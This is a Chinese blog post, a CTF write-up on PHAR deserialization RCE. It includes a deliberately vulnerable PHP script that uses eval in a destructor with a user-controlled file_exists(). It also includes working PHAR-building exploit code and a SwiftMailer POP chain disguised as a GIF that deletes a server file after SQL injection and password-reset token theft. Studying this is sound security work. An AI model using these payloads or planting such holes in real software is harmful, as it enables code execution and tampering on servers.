前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >phar反序列化rce

phar反序列化rce

作者头像
安恒网络空间安全讲武堂
发布2018-12-27 15:26:31
1.4K0
发布2018-12-27 15:26:31
举报

前言

在Blackhat2018,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。

原理

在使用phar://协议读取文件时,文件会被解析成phar( http://php.net/manual/zh/intro.phar.php ) 解析过程中会触发php_var_unserialize()函数,造成反序列化。

测试

漏洞利用条件

1.服务器上存在可控文件 2.服务器端引用了可以利用的魔术方法 3.文件操作函数的参数可控

测试代码

在本地搭建一个简单的环境来测试(php7.1+apache2) 本地测试代码

<?php
class altman
{
    private $a='echo 'test'';
    function __destruct()
    {
        eval($this->a);
    }
}
file_exists($_GET['file']);
?>

生成phar文件

首先要将本地php.ini中的phar.readonly选项设置为Off 然后构造一个生成phar文件的php脚本

<?php
class altman
{
    private $a='echo "test";';
    function __destruct()
    {
        eval($this->a);
    }
}
$f = new altman();
$f->a='phpinfo()';
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($f); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

生成如下phar文件,可以看到文件中metadata部分含有我们构造的恶意序列化代码

触发漏洞

通过测试代码中的file_exists()来访问phar文件,利用phar://协议解析文件。

成功执行phpinfo

护网杯 easy_lavarel

题目doocker环境https://github.com/sco4x0/huwangbei2018_easy_laravel

浏览源码

查看首页注释中拿到整个网站的源码,浏览发现使用lavarel框架写的。 先查看路由

直接去看一下flag获取方式

没什么用,继续全局搜索flag

定位到关键点,到这里就题目意图就很明显了,要登录邮箱为admin@qvq.im的账号来查看flag。

sql注入

尽管可以注册任意用户,但是无法覆盖邮箱,寻找其他突破口 在NoteController.php中找到一处注入点

显然二次注入,常规的union注入拿到管理员密码

有点自闭,密码加密过的,无法破解,只能另寻他路来登录管理员账号

重置密码

发现了重置密码功能,仔细读代码,发现只要得到账号的token,就能拿到重置密码的link

token在password_resets表中 进行注入

然后直接访问link /password/reset/{token}重置管理员密码 成功登陆

发现noflag ???

Blade

Blade 是 laravel 提供的一个简单强大的模板引擎,它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变。 由于旧的缓存存在,所以我们访问flag时会加载缓存,从而无法访问到新的flag。 所以这里需要想办法删除掉blade文件缓存。 先找到缓存文件的路径

public function getCompiledPath($path)
{
    return $this->cachePath.'/'.sha1($path).'.php';
}

又有提示nginx默认配置,那么可以找到flag文件的path是

/usr/share/nginx/html/resources/views/auth/flag.blade.php

那么最终得到

/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

POP CHAIN

已经确认了缓存文件的目录。下面就要寻找一个可控的删除函数。 通过composer.json,安装网站的组件。

在组件中寻找删除函数,全局搜索定位unlink() 最终在swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php中找到了一个可以利用的_destruck()

phar反序列化

发现一个check很可疑,查看源码

很明显的一个file_exists函数,这不就是可以出发phar反序列化的函数吗?

到这里整个题目思路就很明确了: ①构造phar文件并上传 ②通过check触发file_exists()引发反序列化 ③执行unlink删除旧的缓存文件 ④再次访问flag

构造phar文件

<?php
class Swift_ByteStream_AbstractFilterableInputStream {
    /**
     * Write sequence.
     */
    protected $sequence = 0;
    /**
     * StreamFilters.
     *
     * @var Swift_StreamFilter[]
     */
    private $filters = [];
    /**
     * A buffer for writing.
     */
    private $writeBuffer = '';
    /**
     * Bound streams.
     *
     * @var Swift_InputByteStream[]
     */
    private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
    /** The internal pointer offset */
    private $_offset = 0;

    /** The path to the file */
    private $_path;

    /** The mode this file is opened in for writing */
    private $_mode;

    /** A lazy-loaded resource handle for reading the file */
    private $_reader;

    /** A lazy-loaded resource handle for writing the file */
    private $_writer;

    /** If magic_quotes_runtime is on, this will be true */
    private $_quotes = false;

    /** If stream is seekable true/false, or null if not known */
    private $_seekable = null;

    /**
     * Create a new FileByteStream for $path.
     *
     * @param string $path
     * @param bool   $writable if true
     */
    public function __construct($path, $writable = false)
    {
        $this->_path = $path;
        $this->_mode = $writable ? 'w+b' : 'rb';

        if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
            $this->_quotes = true;
        }
    }

    /**
     * Get the complete path to the file.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->_path;
    }
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
    public function __construct() {
        $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
        parent::__construct($filePath, true);
    }
    public function __destruct() {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

check

上传文件后,在check处抓包,控制path值,利用phar://去解析我们上传的文件,造成反序列化。

然后再去请求flag

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-12-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 原理
  • 测试
    • 漏洞利用条件
      • 测试代码
        • 生成phar文件
          • 触发漏洞
            • 护网杯 easy_lavarel
              • 浏览源码
              • sql注入
              • 重置密码
              • Blade
              • POP CHAIN
              • phar反序列化
              • 构造phar文件
              • check
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档